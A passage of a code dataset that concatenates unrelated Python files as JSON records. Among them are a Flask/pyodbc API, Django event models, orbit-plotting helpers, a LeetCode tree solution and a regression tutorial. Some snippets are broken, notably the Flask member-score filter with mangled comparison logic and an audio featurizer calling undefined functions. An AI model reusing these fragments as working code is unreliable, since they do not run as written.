is_island(l,i,j):\r\n if l[i-1][j]==l[i][j-1]==l[i+1][j]==l[i][j+1]==0:\r\n return 1\r\n \r\nn=int(input())\r\nc=0 #inintialising number of islands to be 0\r\n\r\n\r\n# to get matrix as input\r\nl=[]\r\nfor i in range(n):\r\n l.append([0]+list(map(int,input().split()))+[0]) #the left and right are cocatenated with 0\r\nn=n+2 #for appending zeroes size is increased\r\nl.insert(0,[0]*n) #the topmost row is 0\r\nl.insert(n+1,[0]*n) #the bottomost row is 0\r\n\r\n \r\n\r\n#counting number of islands\r\nfor i in range(n):\r\n for j in range(n):\r\n if l[i][j]==1:\r\n if is_island(l,i,j):\r\n c+=1\r\nprint(c)\r\n \r\n\r\n \r\n","sub_path":"no_of_islands.py","file_name":"no_of_islands.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"331875147","text":"# SPDX-License-Identifier: Apache-2.0\n# Licensed to the Ed-Fi Alliance under one or more agreements.\n# The Ed-Fi Alliance licenses this file to you under the Apache License, Version 2.0.\n# See the LICENSE and NOTICES files in the project root for more information.\n\nimport pandas as pd\nfrom pandas import DataFrame\n\nfrom . import constants\n\n\ndef _map_type(lms_type: str):\n return \"sign-in\" if lms_type == \"login\" else \"sign-out\"\n\n\ndef map_to_udm_system_activities(authentication_events: pd.DataFrame) -> pd.DataFrame:\n \"\"\"\n Maps a DataFrame containing Canvas authentication_events into the Ed-Fi LMS Unified Data\n Model (UDM) format.\n\n Parameters\n ----------\n authentication_events: DataFrame\n Pandas DataFrame containing authentication_events\n\n Returns\n -------\n DataFrame\n A LMSSystemActivities-formatted DataFrame\n\n Notes\n -----\n DataFrame columns are:\n SourceSystemIdentifier: a unique code for the record.\n SourceSystem: the system code or name providing the user data.\n LMSUserSourceSystemIdentifier: the source system identifier for the user.\n ActivityType: either \"sign-in\" or \"sign-out\".\n ActivityDateTime: the source system's event timestamp.\n ActivityStatus: will always be \"active\".\n ParentSourceSystemIdentifier: will always be None.\n ActivityTimeInMinutes: will always be None.\n CreateDate: Created date.\n LastModifiedDate: Last modified date (will always be the same as the CreateDate).\n SourceCreateDate: Date this record was created in the LMS.\n \"\"\"\n\n if authentication_events.empty:\n return authentication_events\n\n assert \"CreateDate\" in authentication_events.columns\n assert \"LastModifiedDate\" in authentication_events.columns\n\n df: DataFrame = authentication_events[\n [\n \"id\",\n \"event_type\",\n \"created_at\",\n \"CreateDate\",\n \"LastModifiedDate\",\n ]\n ].copy()\n\n df[\"LMSUserSourceSystemIdentifier\"] = df[\"id\"].apply(lambda x: x.split(\"#\")[1])\n\n df.rename(\n columns={\n \"id\": \"SourceSystemIdentifier\",\n \"event_type\": \"ActivityType\",\n \"created_at\": \"ActivityDateTime\",\n },\n inplace=True,\n )\n\n df[\"ActivityType\"] = df[\"ActivityType\"].apply(_map_type)\n df[\"SourceSystem\"] = constants.SOURCE_SYSTEM\n df[\"ActivityStatus\"] = \"active\"\n df[\"ParentSourceSystemIdentifier\"] = \"\"\n df[\"ActivityTimeInMinutes\"] = \"\"\n df[\"SourceCreateDate\"] = df[\"ActivityDateTime\"]\n df[\"SourceLastModifiedDate\"] = \"\"\n df[\"ActivityDateTime\"] = pd.to_datetime(df[\"ActivityDateTime\"]).dt.strftime(\n constants.DATE_FORMAT\n )\n\n return df\n","sub_path":"src/canvas-extractor/edfi_canvas_extractor/mapping/authentication_events.py","file_name":"authentication_events.py","file_ext":"py","file_size_in_byte":2740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"217193374","text":"\"\"\"\n100. Same Tree\n\nGiven two binary trees, write a function to check if they are the same or not.\n\nTwo binary trees are considered the same if they are structurally identical and the nodes have the same value.\n\nExample 1:\n\nInput: 1 1\n / \\ / \\\n 2 3 2 3\n\n [1,2,3], [1,2,3]\n\nOutput: true\nExample 2:\n\nInput: 1 1\n / \\\n 2 2\n\n [1,2], [1,null,2]\n\nOutput: false\nExample 3:\n\nInput: 1 1\n / \\ / \\\n 2 1 1 2\n\n [1,2,1], [1,1,2]\n\nOutput: false\n\"\"\"\n\nfrom collections import deque\n\n\nclass TreeNode(object):\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution(object):\n def is_sametree(self, p, q):\n \"\"\"\n :type p: TreeNode\n :type q: TreeNode\n :rtype : bool\n \"\"\"\n if p == None and q == None:\n return True\n if (p != None and q == None) or (p == None and q != None) or (p.val != q.val):\n return False\n return self.is_sametree(p.left, q.left) and self.is_sametree(p.right, q.right)\n\n\n def string_to_treenode(self, inputs):\n input = inputs.strip()\n inputs = input[1:-1]\n if not input:\n return None\n\n toggle = 0\n nums = [s.strip() for s in inputs.split(',')]\n q = deque()\n root = TreeNode(int(nums[0]))\n q.append(root)\n\n i = 1\n cnt = len(nums)\n while i < cnt:\n node = q.popleft()\n\n for j in range(2):\n if nums[i] != \"null\":\n new_node = TreeNode(int(nums[i]))\n q.append(new_node)\n if j == 0:\n node.left = new_node\n else: \n node.right = new_node\n i += 1\n if i >= cnt:\n break\n return root \n\n\n def list_to_treenode(self, nums):\n if not nums:\n return None\n\n root = TreeNode(nums[0])\n q = deque()\n q.append(root)\n toggle = 0\n\n i = 1\n cnt = len(nums)\n while i < cnt:\n node = q.popleft()\n\n for j in range(2):\n if nums[i] != None:\n new_node = TreeNode(nums[i])\n q.append(new_node)\n if j == 0:\n node.left = new_node\n else: \n node.right = new_node\n i += 1\n if i >= cnt:\n break\n return root\n\ndef test_int_nums():\n test_cases = [\n { \"p\": [1,2,3] , \"q\": [1,2,3] },\n { \"p\": [1,2] , \"q\": [1,None,2] },\n { \"p\": [1,2,1] , \"q\": [1,1,2] },\n { \"p\": [1,2,5,6,9,10], \"q\": [1,2,5,6,9,10]}\n ]\n sol = Solution()\n print(\"\\n ------ [Test Int Numbers] -----\")\n for i, test_case in enumerate(test_cases, 1):\n p = sol.list_to_treenode(test_case[\"p\"])\n q = sol.list_to_treenode(test_case[\"q\"])\n res = sol.is_sametree(p, q)\n print(f\"{i}. {test_case} are same tree : {res}\")\n\ndef test_string_nums():\n test_cases = [\n { \"p\": \"[1,2,3]\" , \"q\": \"[1,2,3]\" },\n { \"p\": \"[1,2]\" , \"q\": \"[1,null,2]\" },\n { \"p\": \"[1,2,1]\" , \"q\": \"[1,1,2]\" },\n { \"p\": \"[1,2,5,6,9,10]\", \"q\": \"[1,2,5,6,9,10]\"}\n ]\n sol = Solution()\n print(\"\\n\\n ----- [Test String Numbers] -----\")\n for i, test_case in enumerate(test_cases, 1):\n p = sol.string_to_treenode(test_case[\"p\"])\n q = sol.string_to_treenode(test_case[\"q\"])\n res = sol.is_sametree(p, q)\n print(f\"{i}. {test_case} are same tree : {res}\")\n\n\nif __name__ == '__main__':\n test_int_nums()\n test_string_nums()\n\n\n","sub_path":"easy/tree/00100-same-tree/00100-same-tree.py","file_name":"00100-same-tree.py","file_ext":"py","file_size_in_byte":3871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"26930395","text":"# 查找大于给定积分的用户\n@app.route('/filter/score')\ndef get_members_byScore():\n score = request.args['le']\n ret_dict = Member.get_member_byScore(score)\n ret_dict['return_code'] = 200\n ret_dict['return_msg'] = \"Filter user success\"\n print (ret_dict)\n return jsonify(ret_dict)\n\n\n # 获取积分大于指定值的会员列表\n @classmethod\n def get_member_byScore(cls,score):\n member_list=[]\n # 判断传入的le是否为int类型\n # 若score是字母,特殊字符的时候,返回输入正确的值\n # 若score是小数,将score加一在判断。\n try :\n sc=int(score)\n if sc=sc:\n member_info = {\"uid\": mem.uid,'tel':mem.tel,'discount':mem.discount,'score':mem.score,'active':mem.active}\n member_list.append(member_info)\n if len(member_list)==0:\n ret_dic= {\n \"count\": 0,\n \"members\": member_list\n }\n else:\n ret_dic = {\n \"count\": len(member_list),\n \"members\": member_list\n }\n return ret_dic\n # 方法二:从数据库中查找到积分大于给定积分的用户,遍历增添进member_list中\n # members = Member.query.filter(Member.score >=int(sc))\n # for mem in members:\n # member_list.append(mem)\n # ret_dic={\n # \"count\":len(member_list),\n # \"members\":member_list\n # }\n # return ret_dic","sub_path":"Yzx/11.py","file_name":"11.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"367485476","text":"import unittest\nfrom records_mover.db.redshift.records_copy import redshift_copy_options\nfrom records_mover.records import DelimitedRecordsFormat\nfrom sqlalchemy_redshift.commands import Encoding\n\n\nclass TestRecordsCopy(unittest.TestCase):\n def test_redshift_copy_options_encodings(self):\n tests = {\n 'UTF16': Encoding.utf16,\n 'UTF16LE': Encoding.utf16le,\n 'UTF16BE': Encoding.utf16be\n }\n for hint_spelling, redshift_sqlalchemy_spelling in tests.items():\n\n records_format =\\\n DelimitedRecordsFormat(variant='bluelabs',\n hints={\n 'encoding': hint_spelling\n })\n unhandled_hints = set(records_format.hints.keys())\n out = redshift_copy_options(unhandled_hints,\n records_format.validate(fail_if_cant_handle_hint=True),\n fail_if_cant_handle_hint=True,\n fail_if_row_invalid=True,\n max_failure_rows=0)\n self.assertIs(out['encoding'], redshift_sqlalchemy_spelling)\n","sub_path":"tests/unit/db/redshift/test_records_copy.py","file_name":"test_records_copy.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"89152914","text":"from django.db import models\nfrom django.contrib.gis.db import models as gis_model\n\nfrom django_countries.fields import CountryField\n\n\nclass Event(models.Model):\n name = models.CharField(max_length=64, blank=False, null=False)\n description = models.TextField()\n\n country = CountryField()\n city = models.CharField(max_length=32, blank=True, null=False)\n\n people = models.ManyToManyField('members.Person', through='EventPerson', through_fields=('event', 'person'), related_name='events')\n\n from_date = models.DateTimeField()\n to_date = models.DateTimeField()\n\n def __str__(self):\n return '{}'.format(self.name)\n\n\nclass EventTrack(models.Model):\n\n COUPLES = 'C'\n INDIVIDUALS = 'I'\n\n TRACK_TYPE = (\n (COUPLES, 'Couples'),\n (INDIVIDUALS, 'Individuals')\n )\n\n name = models.CharField(max_length=64, blank=False, null=False, unique=True)\n type = models.CharField(max_length=1, choices=TRACK_TYPE, default=COUPLES)\n event = models.ForeignKey('Event', related_name='tracks')\n\n def __str__(self):\n return '{} ({})'.format(self.name, self.type)\n\n\nclass EventTrackLevel(models.Model):\n\n BEGINNER = 'B'\n INTERMEDIATE = 'I'\n INTERMIDIATE_ADVANCED = 'IA'\n ADVANCED = 'A'\n ADVANCED_PLUS = 'AP'\n\n TRACK_LEVEL = (\n (BEGINNER, 'Beginner'),\n (INTERMEDIATE, 'Intermediate'),\n (INTERMIDIATE_ADVANCED, 'Intermidiate-Advanced'),\n (ADVANCED, 'Advanced'),\n (ADVANCED_PLUS, 'Advanced Plus')\n )\n\n capacity = models.PositiveSmallIntegerField(blank=False)\n track = models.ForeignKey('EventTrack', related_name='levels')\n level = models.CharField(max_length=2, choices=TRACK_LEVEL, default=BEGINNER)\n\n class Meta:\n unique_together = ('track', 'level')\n\n\nclass EventPerson(models.Model):\n\n TEACHER = 'T'\n STUDENT = 'S'\n DJ = 'D'\n GUEST = 'G'\n\n PERSON_TYPE = (\n (TEACHER, 'Teacher'),\n (STUDENT, 'Student'),\n (DJ, 'DJ'),\n (GUEST, 'Guest')\n )\n\n event = models.ForeignKey('Event', related_name='person')\n person = models.ForeignKey('members.Person', related_name='event')\n type = models.CharField(max_length=1, choices=PERSON_TYPE, default=STUDENT)\n\n class Meta:\n unique_together = ('event', 'person')\n\n\nclass ScheduleItem(gis_model.Model):\n\n PARTY = 'P'\n MAIN_CLASS = 'M'\n TASTER_CLASS = 'T'\n OTHER_ACTIVITY = 'A'\n\n SCHEDULE_TYPE = (\n (PARTY, 'Party'),\n (MAIN_CLASS, 'Main class'),\n (TASTER_CLASS, 'Taster class'),\n (OTHER_ACTIVITY, 'Other activity')\n )\n\n event_track_level = models.ForeignKey('EventTrackLevel', related_name='schedule')\n type = models.CharField(max_length=1, choices=SCHEDULE_TYPE, default=PARTY)\n\n address = models.CharField(max_length=255)\n city = models.CharField(max_length=100)\n state = models.CharField(max_length=100)\n point = gis_model.PointField()\n\n\nclass OpeningHours(gis_model.Model):\n description = models.TextField()\n schedule_item = models.ForeignKey('ScheduleItem', related_name='hours')\n from_datetime = models.DateTimeField()\n to_datetime = models.DateTimeField()\n","sub_path":"api/events/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"605659145","text":"import numpy as np\nimport matplotlib\nmatplotlib.use('pdf')\nimport matplotlib.pyplot as plt\nfrom stable_baselines.results_plotter import load_results, ts2xy\nimport pykep\n\ndef moving_average(values, window):\n \"\"\"\n Smooth values by doing a moving average\n :param values: (numpy array)\n :param window: (int)\n :return: (numpy array)\n \"\"\"\n weights = np.repeat(1.0, window) / window\n return np.convolve(values, weights, 'valid')\n\n\ndef plot_results(log_folder, out_folder = None, title='Learning_Curve', save_plot = True):\n \"\"\"\n plot the results\n\n :param log_folder: (str) the save location of the results to plot\n :param out_folder: (str) the location where the plot is saved (default: log_folder)\n :param title: (str) the title of the task to plot\n :param save_plot: (bool) save the plot as pdf?\n \"\"\"\n x, y = ts2xy(load_results(log_folder), 'timesteps')\n y = moving_average(y, window=50)\n # Truncate x\n x = x[len(x) - len(y):]\n\n matplotlib.rc('font', size=14)\n matplotlib.rc('text', usetex=True)\n #fig1 = plt.figure() #figsize=(10, 10))\n plt.plot(x, y)\n plt.xlabel('Number of Timesteps')\n plt.ylabel('Cumulative reward')\n #plt.xscale('log')\n plt.yscale('symlog')\n plt.grid()\n #plt.title(\"Learning curve smoothed\")\n if (save_plot):\n if (out_folder is None):\n plt.savefig(log_folder + title + \".pdf\", dpi=300)\n else:\n plt.savefig(out_folder + title + \".pdf\", dpi=300)\n\n\ndef plot_kepler_new(r0, v0, r0_nom, v0_nom, tof, mu, N=60, units=1, color='b', label=None, axes=None, file_out=None):\n \"\"\"\n ax = plot_kepler(r0, v0, tof, mu, N=60, units=1, color='b', label=None, axes=None):\n\n - axes: 3D axis object created using fig.gca(projection='3d')\n - r0: initial position (cartesian coordinates)\n - v0:\t\tinitial velocity (cartesian coordinates)\n - r0_nom: initial nominal position (cartesian coordinates)\n - v0_nom:\tinitial nominal velocity (cartesian coordinates)\n - tof:\t\tpropagation time\n - mu:\t\tgravitational parameter\n - N:\t\tnumber of points to be plotted along one arc\n - units:\thow many times the differences between actual trajectory and nominal\n trajectory must be exaggerated\n - color:\tmatplotlib color to use to plot the line\n - label: \tadds a label to the plotted arc.\n - file_out: output file where to print the trajectory\n\n Plots the result of a keplerian propagation\n\n Example::\n\n import pykep as pk\n pi = 3.14\n pk.orbit_plots.plot_kepler(r0 = [1,0,0], v0 = [0,1,0], tof = pi/3, mu = 1)\n \"\"\"\n\n from pykep.core import propagate_lagrangian\n import matplotlib.pylab as plt\n from mpl_toolkits.mplot3d import Axes3D\n from copy import deepcopy\n\n if axes is None:\n fig = plt.figure()\n ax = fig.gca(projection='3d')\n else:\n ax = axes\n\n # We define the integration time ...\n dt = tof / (N - 1)\n\n # ... and calculate the cartesian components for r and v\n x = [0.0] * N\n y = [0.0] * N\n z = [0.0] * N\n vx = [0.0] * N\n vy = [0.0] * N\n vz = [0.0] * N\n\n # We calculate the spacecraft position and velocity at each dt\n r = deepcopy(r0)\n v = deepcopy(v0)\n r_nom = deepcopy(r0_nom)\n v_nom = deepcopy(v0_nom)\n for i in range(N):\n x[i] = r_nom[0] + (r[0] - r_nom[0])*units\n y[i] = r_nom[1] + (r[1] - r_nom[1])*units\n z[i] = r_nom[2] + (r[2] - r_nom[2])*units\n vx[i] = v_nom[0] + (v[0] - v_nom[0])*units\n vy[i] = v_nom[1] + (v[1] - v_nom[1])*units\n vz[i] = v_nom[2] + (v[2] - v_nom[2])*units\n r, v = propagate_lagrangian(r, v, dt, mu)\n r_nom, v_nom = propagate_lagrangian(r_nom, v_nom, dt, mu)\n\n if file_out is not None:\n file_out.write(\"%12.7f\\t%12.7f\\t%12.7f\\t%12.7f\\t%12.7f\\t%12.7f\\n\" \\\n % (x[i], y[i], z[i], vx[i], vy[i], vz[i]))\n \n\n # And we plot\n ax.plot(x, y, z, c=color, label=label)\n return ax\n\n\ndef plot_taylor_new(r0, v0, m0, r0_nom, v0_nom, m0_nom, thrust, thrust_nom, tof, mu, veff, \\\n N=60, units=1, color='b', label=None, axes=None):\n \"\"\"\n ax = plot_taylor(r0, v0, m0, thrust, tof, mu, veff, N=60, units=1, color='b', legend=False, axes=None):\n\n - axes:\t\t 3D axis object created using fig.gca(projection='3d')\n - r0:\t\t initial position (cartesian coordinates)\n - v0:\t\t initial velocity (cartesian coordinates)\n - m0: \t\t initial mass\n - r0_nom: initial nominal position (cartesian coordinates)\n - v0_nom:\t initial nominal velocity (cartesian coordinates)\n - m0_nom: initial nominal mass\n - thrust:\t cartesian components for the constant thrust\n - thrust_nom: cartesian components for the constant nominal thrust\n - tof:\t\t propagation time\n - mu:\t\t gravitational parameter\n - veff:\t the product Isp * g0\n - N:\t\t number of points to be plotted along one arc\n - units:\t the length unit to be used in the plot\n - color:\t matplotlib color to use to plot the line\n - label \t adds a label to the plotted arc.\n\n Plots the result of a taylor propagation of constant thrust\n\n Example::\n\n\timport pykep as pk\n\timport matplotlib.pyplot as plt\n\tpi = 3.14\n\n\tfig = plt.figure()\n\tax = fig.gca(projection = '3d')\n\tpk.orbit_plots.plot_taylor([1,0,0],[0,1,0],100,[1,1,0],40, 1, 1, N = 1000, axes = ax)\n\tplt.show()\n \"\"\"\n\n from pykep.core import propagate_taylor\n import matplotlib.pyplot as plt\n from copy import deepcopy\n\n if axes is None:\n fig = plt.figure()\n ax = fig.gca(projection='3d')\n else:\n ax = axes\n\n # We define the integration time ...\n dt = tof / (N - 1)\n\n # ... and calcuate the cartesian components for r\n x = [0.0] * N\n y = [0.0] * N\n z = [0.0] * N\n\n # We calculate the spacecraft position at each dt\n r = deepcopy(r0)\n v = deepcopy(v0)\n m = deepcopy(m0)\n r_nom = deepcopy(r0_nom)\n v_nom = deepcopy(v0_nom)\n m_nom = deepcopy(m0_nom)\n for i in range(N):\n x[i] = r_nom[0] + (r[0] - r_nom[0])*units\n y[i] = r_nom[1] + (r[1] - r_nom[1])*units\n z[i] = r_nom[2] + (r[2] - r_nom[2])*units\n r, v, m = propagate_taylor(r, v, m, thrust, dt, mu, veff, -10, -10)\n r_nom, v_nom, m_nom = propagate_taylor(r_nom, v_nom, m_nom, thrust_nom, dt, mu, veff, -10, -10)\n\n # And we plot\n ax.plot(x, y, z, c=color, label=label)\n return ax\n\n","sub_path":"custom_modules/plot_results.py","file_name":"plot_results.py","file_ext":"py","file_size_in_byte":6457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"289856310","text":"from flask import Flask, make_response\nfrom flask_cors import CORS\nimport pyodbc\n\ndatabase_config = {\n \n}\n\napp = Flask(__name__, template_folder = 'view', static_folder = 'view')\nCORS(app, resources = { r\"/*\": { \"origins\": \"*\" } })\nconnection = pyodbc.connect('DRIVER={driver};SERVER={server};DATABASE={database};UID={user};PWD={password}'.format(**database_config))\n\ncursor = connection.cursor()\n\n# Check Connection to Database\ncursor.execute(\"SELECT @@version;\")\nrow = cursor.fetchone()\nwhile row:\n print(row[0])\n row = cursor.fetchone()\n\nfrom route.default import default\nfrom route.error_handlers import error_handlers\nfrom route.classifier import classifier\nfrom route.warehouse import warehouse\nfrom route.supplier import supplier\nfrom route.seller import seller\nfrom route.product import product\n\n@app.errorhandler(404)\ndef not_found(error):\n return make_response({ 'status': 'not found' }, 404)\n\n@app.errorhandler(405)\ndef method_not_found(error):\n return make_response({ 'status': 'method not allowed' }, 405)\n\n@app.errorhandler(500)\ndef server_error(error):\n return make_response({ 'status': 'internal server error', 'error': error }, 500)\n\n# Routes\napp.register_blueprint(error_handlers)\napp.register_blueprint(default, url_prefix = '/')\napp.register_blueprint(classifier, url_prefix = '/api/classifier')\napp.register_blueprint(warehouse, url_prefix = '/api/warehouse')\napp.register_blueprint(supplier, url_prefix = '/api/supplier')\napp.register_blueprint(seller, url_prefix = '/api/seller')\napp.register_blueprint(product, url_prefix = '/api/product')\n\nif __name__ == '__main__':\n app.run(host = '0.0.0.0', port = 5000, debug = True)\n","sub_path":"back_end/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"311674518","text":"#!/usr/bin/env python3\nimport numpy as np\nfrom scipy.integrate import trapz\nfrom argparse import ArgumentParser\np = ArgumentParser()\np.add_argument('file')\np.add_argument('--time',type=float,default=40.)\np.add_argument('--fluence',type=float,default=1E-5)\na = p.parse_args()\n\nkeV_to_erg = 1.6020506247997438e-09\n\nenergies = []\nfluxes = []\nwith open(a.file) as f:\n\tfor line in f:\n\t\tif line.startswith('DP'):\n\t\t\ts = line.split()\n\t\t\tenergies.append(float(s[1]))\n\t\t\tfluxes.append(float(s[2]))\nenergies = np.array(energies)\nfluxes = np.array(fluxes)\n\nphoton_flux = trapz(fluxes,energies)\nenergy_flux_keV= trapz(energies*fluxes,energies)\nenergy_flux_erg = energy_flux_keV * keV_to_erg\nfluence = energy_flux_erg * a.time\n\nprint('-------> input spectrum')\nprint('photon flux : %.6e photons/cm2/s' % (photon_flux))\nprint('photon fluence: %.6e photons/cm2' % (photon_flux * a.time))\nprint('fluence : %.6e erg/cm2' % (fluence))\nscale_factor = a.fluence/fluence\nphoton_flux_scaled = scale_factor * photon_flux\nfluence_scaled = scale_factor * fluence\nprint('-------> after scaling to a fluence of %.6e' % (a.fluence))\nprint('photon flux : %.6e photons/cm2/s' % (photon_flux_scaled))\nprint('photon fluence: %.6e photons/cm2' % (photon_flux_scaled * a.time))\nprint('fluence : %.6e erg/cm2' % (fluence_scaled))\n\n","sub_path":"grampa/integrate_spectrum.py","file_name":"integrate_spectrum.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"615270257","text":"import csv\r\nimport time\r\nimport pandas as pd\r\n\r\n#function to parse datafile and output dataset with subcategory: Tops in csv file\r\ndef parse_dataset():\r\n fnin=input(\"\\n [IN] : input file name:\")\r\n \r\n with open(fnin,'r',encoding='utf8') as _inf, open('sub_top.csv','w',newline='',encoding='utf8') as _outf:\r\n\r\n in_data = csv.reader(_inf,delimiter=',')\r\n out_data = csv.writer(_outf, delimiter=',')\r\n\r\n row_number=0\r\n tops_count=0\r\n \r\n no_of_active_column=0\r\n \r\n start_t = time.time()\r\n \r\n #reading data row by row, from file number of column=32\r\n print(\"\\n[OUT] : <----- Parsing process starts -----> \\n\")\r\n for row in in_data:\r\n \r\n if(row_number==0):\r\n #writing intial row i.e. column names \r\n \r\n \r\n for j in range(0,len(row)):\r\n if row[j]!='' :\r\n no_of_active_column+=1\r\n #print(no_of_active_column)\r\n \r\n out_data.writerow(row[0:no_of_active_column])\r\n \r\n #print(row[0:no_of_active_column])\r\n \r\n else:\r\n #in field category there is sub category 'Tops' \r\n \r\n sub_category=row[8].split('>')[-1] \r\n \r\n if(sub_category == 'Tops' and len(sub_category)>0):\r\n \r\n out_data.writerow(row[0:no_of_active_column])\r\n tops_count+=1\r\n \r\n row_number+=1\r\n \r\n end_t = time.time() - start_t\r\n \r\n \r\n print(\" \\n\\n\\n\\n[OUT] : <----- Parsing Process Completed ---->\")\r\n print(\" [OUT] : Total available number of rows is {}\".format(row_number))\r\n print(\" [OUT] : Finally available number of records after parsing: {} \".format(tops_count))\r\n print(\" [OUT] : Time taken for pasring dataset {}s \".format(str(round(end_t,4))))\r\n\r\nparse_dataset()\r\n","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":2033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"575297371","text":"'''\n\n'''\nimport librosa_features as lf \nimport pyaudio_features as pf \nimport sox_features as sf\nimport audioset_features as af\nimport numpy as np \n\ndef audio_featurize(filename, jsondump):\n # extract features, go back to this directory everytime \n curdir=os.getcwd()\n pyaudio_features, pyaudio_labels = pf.pyaudio_featurize(filename)\n os.chdir(curdir)\n librosa_features=lf.librosa_featurize(filename, False)\n os.chdir(curdir)\n sox_features, sox_labels = sf.sox_featurize(filename)\n os.chdir(curdir)\n audioset_allfeatures, audioset_features =audioset_featurize(filename)\n os.chdir(curdir)\n\n features={\n 'pyaudio':pyaudio_features.tolist(),\n 'librosa':librosa_features.tolist(),\n 'sox':sox_features.tolist(),\n 'audioset':audioset_features.tolist(),\n }\n # now make an array with all these features \n data={\n 'filename':filename,\n 'features':features,\n }\n\n # dump to .json database\n if jsondump==True:\n jsonfilename=filename[0:-4]+'.json'\n jsonfile=open(jsonfilename,'w')\n jsonfile.write(data, jsonfile)\n jsonfile.close()\n\n return data\n\ndata=audio_featurize('test.wav')\n#print(data)\n \n \n","sub_path":"chapter_3_featurization/audio_features.py","file_name":"audio_features.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"530489598","text":"from .exceptions import NoStudentError, OccupiedTopicError\nfrom django.db import IntegrityError, transaction\nfrom .models import TopicRegistration, Topic, Timer\nfrom datetime import datetime\n\n\ndef delete_user_topic(user):\n registration = TopicRegistration.objects.get(student=user)\n registration.delete()\n\n\ndef is_topic_occupied(student, topic):\n t = TopicRegistration.objects.filter(topic=topic)\n if t.count():\n return True, bool(t.filter(student=student).count())\n return False, False\n\n\n@transaction.atomic\ndef register_user_topic(user, topic_name):\n if user.type != 'student':\n raise NoStudentError\n topic = Topic.objects.get(professor=user.professor, name=topic_name)\n if is_topic_occupied(user, topic)[0]:\n raise OccupiedTopicError\n try:\n if TopicRegistration.objects.filter(student=user).count():\n delete_user_topic(user)\n registration = TopicRegistration(student=user, topic=topic)\n registration.save()\n except IntegrityError:\n raise OccupiedTopicError\n\n\ndef is_registration_open():\n timer = Timer.objects.first()\n return timer.start_date <= datetime.now() <= timer.end_date\n","sub_path":"topic_registration/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"601152059","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jan 13 17:45:46 2018\n\n@author: jamesponwith\n\"\"\"\n\n# Multi Linear Regression\n\n# Formula: B.0*x.0 + B.1*x.1 + B.2*x.2 + ...\n\n# Importing the libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# Importing the dataset\ndataset = pd.read_csv('50_Startups.csv')\nX = dataset.iloc[:, :-1].values\ny = dataset.iloc[:, 4].values\n\n# Encoding categorical data\n# Encoding the Independent Variable\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\nlabelencoder_X = LabelEncoder()\nX[:, 3] = labelencoder_X.fit_transform(X[:, 3])\nonehotencoder = OneHotEncoder(categorical_features = [3])\nX = onehotencoder.fit_transform(X).toarray()\n\n# Avoiding Dummy Variable Trap\nX = X[:, 1:]\n\n# Splitting the dataset into the Training set and Test set\nfrom sklearn.cross_validation import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 0)\n\n# Feature Scaling\n\"\"\"from sklearn.preprocessing import StandardScaler\nsc_X = StandardScaler()\nX_train = sc_X.fit_transform(X_train)\nX_test = sc_X.transform(X_test)\nsc_y = StandardScaler()\ny_train = sc_y.fit_transform(y_train)\"\"\"\n\n# Fitting Multi Linear Regression to Training Set\nfrom sklearn.linear_model import LinearRegression\nregressor = LinearRegression()\nregressor.fit(X_train, y_train)\n\n# Predicting the Test Set results\ny_pred = regressor.predict(X_test) # Create the vector of predictions\n\n# y_test is the vector containing the real profits\n# y_pred is the vector containing the profits predicted by the model\n\n# Building the optimal model using Backward Elimination\nimport statsmodels.formula.api as sm\nX = np.append(arr = np.ones((50,1)).astype(int), values = X, axis = 1) # Adding first column is need by the stats library\n\n# Create new matrix of features which will be the optimal matrix of features\nX_opt = X[:, [0,1,2,3,4,5]]\n\n# Must create a new regressor which will be a new object from the stats library\nregressor_OLS = sm.OLS(endog = y, exog = X_opt).fit()\n\n# Step three: Determine p-values\nregressor_OLS.summary()\n\n# To complete Backwards Elimination repeat the previous three steps\n\n# Refit model with new Independent Variables\nX_opt = X[:, [0,1,3,4,5]]\nregressor_OLS = sm.OLS(endog = y, exog = X_opt).fit()\nregressor_OLS.summary()\n\n# Refit model with new Independent Variables\nX_opt = X[:, [0,3,4,5]]\nregressor_OLS = sm.OLS(endog = y, exog = X_opt).fit()\nregressor_OLS.summary()\n\n# Refit model with new Independent Variables\nX_opt = X[:, [0,3,5]]\nregressor_OLS = sm.OLS(endog = y, exog = X_opt).fit()\nregressor_OLS.summary()\n\n# Refit model with new Independent Variables\nX_opt = X[:, [0,3]]\nregressor_OLS = sm.OLS(endog = y, exog = X_opt).fit()\nregressor_OLS.summary()\n\n\n\n\"\"\"\nEndnotes\n\n\"\"\"\n\n\n\n\"\"\"\n\nAutomatic Implementation of Backward Elimination Using P-values.\nAutomatic Implementation of Backward Elimination Using P-values.\n\n\"\"\"\n\nimport statsmodels.formula.api as sm\nX = np.append(arr = np.ones((50,1)).astype(int), values = X, axis 